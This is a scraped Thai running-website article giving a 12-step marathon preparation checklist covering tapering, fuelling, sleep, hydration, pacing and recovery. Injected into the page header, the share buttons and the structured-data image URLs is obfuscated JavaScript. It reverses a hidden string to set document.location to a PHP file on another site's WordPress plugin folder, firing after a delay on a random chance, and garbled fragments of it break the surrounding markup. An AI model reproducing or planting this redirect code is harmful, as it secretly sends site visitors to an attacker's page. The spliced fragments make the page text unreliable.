andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash-1.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2018/06/alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash-1.jpg","width":1200,"height":750},{"@type":"WebPage","@id":"https://www.stepextra.com/marathon-checklist/#webpage","url":"https://www.stepextra.com/marathon-checklist/","name":"มาราธอนเช็คลิสต์ (Marathon checklist) เตรียมตัวง่ายๆ สำหรับวิ่ง มาราธอน - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/marathon-checklist/#primaryimage"},"datePublished":"2018-06-29T13:07:34+00:00","dateModified":"2018-07-04T03:19:02+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"description":"อาการตื่นเต้นจนไม่มีสมาธิในการเตรียมตัว หรือเผลอลืมอะไรไปก็จะเกิดขึ้นได้ง่าย วันนี้เราเลยมีขั้นตอนการเตรียมตัวง่ายๆ ก่อนก้าวเข้าสู่สนาม มาราธอน มาฝากกัน","breadcrumb":{"@id":"https://www.stepextra.com/marathon-checklist/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/marathon-checklist/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/marathon-checklist/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"มาราธอนเช็คลิสต์ (Marathon checklist) เตรียมตัวง่ายๆ สำหรับวิ่ง มาราธอน"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

มาราธอนเช็คลิสต์ (Marathon checklist) เตรียมตัวง่ายๆ สำหรับวิ่ง มาราธอน

kan by kan
4 July 2018
in Running Tips, Tips & Technics
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash-1.jpg">
มาราธอนเช็คลิสต์ (Marathon checklist) เตรียมตัวง่ายๆ สำหรับวิ่ง มาราธอน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash-1.jpg&description=%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%98%E0%B8%AD%E0%B8%99%E0%B9%80%E0%B8%8A%E0%B9%87%E0%B8%84%E0%B8%A5%E0%B8%B4%E0%B8%AA%E0%B8%95%E0%B9%8C+%28Marathon+checklist%29+%E0%B9%80%E0%B8%95%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%A1%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%86+%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87+%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%98%E0%B8%AD%E0%B8%99" rel='nofollow' class="jeg_btn-pinterest ">

แม้ในช่วงท้ายๆ ของ 3-4 สัปดาห์สุดท้าย แผนการฝึกวิ่ง มาราธอน จะค่อยๆ เบาลง และช่วยลดระดับความตรึงเครียดที่เกิดขึ้นกับร่างกาย แต่ใครจะรู้ว่าในใจนักวิ่งเวลาเข้าใกล้การแข่งมาราธอนเข้ามาทุกทีนั้น มันตื่นเต้นจนแทบนอนไม่หลับกันเลย

อาการตื่นเต้นจนไม่มีสมาธิในการเตรียมตัว หรือเผลอลืมอะไรไปสักอย่างก็จะเกิดขึ้นได้ง่ายมาก ดังนั้นวันนี้เราเลยมีขั้นตอนการเตรียมตัวง่ายๆ ก่อนก้าวเข้าสู่สนามมาราธอนมาฝากกัน

วิธีเตรียมตัวง่ายๆ สำหรับวิ่ง มาราธอน

1. ลดระดับการฝึกลง ในช่วง 3-4 สัปดาห์ก่อนการแข่งขันมาราธอน เป็นเรื่องธรรมดาที่แผนการฝึกจะค่อยๆ ลดระดับความเข้มข้นลง เพื่อให้ร่างกายได้พักฟื้นเต็มที่ พร้อมรับการแข่งขันจริง แต่ไม่ได้หมายความว่านักวิ่งจะหยุดฝึกไปเลยนะ แค่แผนการฝึกยังคงมีอยู่แต่ปรับให้สั้นลง และเพิ่มเวลาพักให้มากขึ้น

2. ฝึกรับประทานอาหารระหว่างวิ่ง เพราะการวิ่งจำเป็นต้องใช้พลังงาน การวิ่งที่กินเวลามากกว่า 1 ชั่วโมงขึ้นไป นักวิ่งควรจะต้องมีการรับพลังงาน (แคลอรี่) เพิ่มกลับเข้าไป การรับประทานอาหารระหว่างที่วิ่งอยู่จึงเลี่ยงไม่ได้ และนักวิ่งจำเป็นต้องมีการฝึกรับประทานอาหารระหว่างวิ่ง

อาหารเพิ่มพลังงานมีตั้งแต่อาหารประเภทเจลไปจนถึงอาหารแข็ง นักวิ่งควรทดสอบรูปแบบอาหารให้หลากหลาย เพื่อหาว่ารูปแบบไหนตอบสนองต่อเราได้ดีมากที่สุด เจลทุกยี่ห้อเข้ากับร่างกายนักวิ่งไม่ได้ 100% บางคนอาจจะรับเจลไม่ได้ แต่รับของอาหารในรูปแข็งได้ ทดสอบระหว่างวิ่งให้เยอะที่สุดและห้ามทดสอบจริงระหว่างวันแข่งขันเด็ดขาด

3. ฝึก Cross-training นอกจากจะฝึกวิ่ง (คาร์ดิโอ) อย่างเดียวแล้ว นักวิ่งควรฝึกเล่นกีฬาประเภทอื่นดูบ้าง อย่างเช่น การว่ายน้ำ ปั่นจักรยานและยกเวท ทั้งนี้เพื่อปรับให้กล้ามเนื้อชุดอื่นได้ทำงาน ให้ชุดเก่าที่ฝึกวิ่งประจำได้พัก เอาไว้ช่วยคล้ายกลเมเนื้อและความเครียด แถมยังช่วยเสริมสร้างความแข็งแกร่งไปในตัว แต่อย่าหักโหมมากเกิน พวก High-impact training ควรหลีกเลี่ยง

4. นอนให้พอ การนอนหลับพักผ่อนมีผลต่อ Performance การวิ่งและการพักฟื้น (Recovery) ในช่วงใกล้วันแข่งขันแนะนำให้นอนมากขึ้น กดไปเลย 8 ชั่วโมงครับ

5. ทาวาสลีนทุกครั้งก่อนวิ่ง เพื่อป้องกันการเสียดสีตามบริเวณง่ามขาง่ามแขน หรือบริเวณที่คุณคิดว่าจะเกิดการเสียดสีทุกจุด นอกจากนี้ใครที่กลัวจะเกิดเท้าพอง แนะนำให้ใช้ถุงเท้าสำหรับวิ่งหรือถุงเท้าที่เขียนว่า (Anti-Blister)

6. เช็ค Race-kit ก่อนออกจากบ้าน เจ้า BIB นี้ถือว่าเป็นบัตรผ่าน บัตรประจำตัวของนักวิ่งที่ต้องห้ามลืมเด็ดขาด และเมื่อถึงที่พักแล้วให้ลองรื้อออกมาทำพิธีกรรมถ่ายรูปโฟสลงเฟสบุคอีกครั้ง ถือว่าเป็นการทำ Double Check ไปในตัว ถ้าสามารถติด BIB กับเสื้อวิ่งได้ก็ควรติดไปเลย จัดชุดแข่งให้เสร็จก่อนนอน เวลาตื่นมาก็สามารถใส่แล้วออกไปลุยได้เลย ไม่ต้องเสียเวลาค้นหา

7. น้ำห้ามขาด เช็คแผนการดื่มน้ำให้สอดคล้องกับเส้นทางวิ่ง หากต้องใช้เป้น้ำก็ควรเติมน้ำให้เติมไปเลย ในช่วงวันก่อนแข่งขัน เราควรดื่มน้ำอย่าง 2 ลิตร และในวันแข่ง ก็ควรดื่มน้ำก่อนวิ่งและเข้าน้ำห้องก่อนแข่งให้เรียบร้อย แต่อย่าลืมมากเกินไปเดียวจะปวดท้องเอา

วิธีเตรียมตัวง่ายๆ สำหรับวิ่ง มาราธอน

8. เสบียงพลังงาน ต้องวางแผนเตรียมเสบียงพลังงานสำหรับใช้วิ่งมีครบกับระยะทาง ถ้าไม่สามารถกินได้หมดในทีเดียว ก็ค่อยๆ กิน แนะนำว่าตั้งเวลาเตือนบนนาฬิกาหรือแอพไว้ก่อนล่วงหน้าเลย ที่สำคัญ “ห้าม” ลองของกินใหม่ๆ ณ วันแข่งเด็ดขาด

9. นัดแนะจุดรวมพล ถ้าไม่ได้ไปคนเดียว ก็ควรนัดแนะจุดรวมพลหลังจากเข้าเส้นชัยว่าจะอยู่ช่วงไหน เพราะแต่ละคนจะมีเวลาวิ่งจบไม่เท่ากัน

10. วิ่งช้าๆ และค่อยๆ ปรับ Pace ให้เร็วขึ้นในกิโลเมตรท้ายๆ อย่าวิ่งไปตามกระแสเวลาตอนปล่อยตัว เพราะจะทำให้เราสูญเสียพลังงานในการวิ่งเร็ว ผิดแผนตามที่วางไว้เดียวจะหมดแรงก่อนถึงเส้นชัย

11. ยิ้มและใจเย็นๆ เข้าไว้ เพราะการวิ่งมาราธอน คือการสู้กับจิตใจ ไม่ใช้การสู้กับระยะทางหรือเวลาแข่งขัน วิ่งต้องยึดตามแผนที่วางไว้ ค่อยๆ เป็น ค่อยๆ ไป

12. เสื้อผ้าและขุดเปลี่ยนหลังแข่งเตรียมให้พร้อม หลังจากพักช่วงระยะเวลาหนึ่งแล้ว ถ้าไม่สามารถหาที่อาบน้ำได้ ก็พยายามเช็ดตัวให้สะอาดแล้วผลัดเปลี่ยนเสื้อผ้าชุดแห้งใส่แทน ป้องกันอาการอับชื้นและให้นักวิ่งสบายตัวมากขึ้น

สุดท้ายนี้ที่ห้ามลืมคือ การทำ Post-race treatment หลังเข้าเส้นชัย อย่าเพิ่งหยุด ต้องเดินหรือวิ่งเบาๆ เพื่อให้อัตราหัวใจค่อยๆ ปรับระดับลงจนถึงระดับปกติ ทำการยืดเส้นยืดสาย คลายกล้ามเนื้อส่วนต่างๆ และต้องดูแลเรื่องสมดุลน้ำในร่างกายด้วย ดื่มน้ำสลับกับเกลือแร่ เพื่อชดเชยสารอิเล็กโตรไลค์ที่เสียไป ทานข้าวและเข้านอนให้เร็ว งดการดื่มเบียร์หรือเหล้าไปก่อนนะครับ ให้ร่างกายได้อาหารที่มีคุณภาพ โปรตีนและคาร์โบไฮเดรต ตามด้วยผักผลไม้ เพื่อนำวิตามินเข้าร่างกายช่วยในการซ่อมแซม

อ้างอิง therunningbug.com

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash-1.jpg&description=%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%98%E0%B8%AD%E0%B8%99%E0%B9%80%E0%B8%8A%E0%B9%87%E0%B8%84%E0%B8%A5%E0%B8%B4%E0%B8%AA%E0%B8%95%E0%B9%8C+%28Marathon+checklist%29+%E0%B9%80%E0%B8%95%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%A1%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%86+%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87+%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%98%E0%B8%AD%E0%B8%99" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.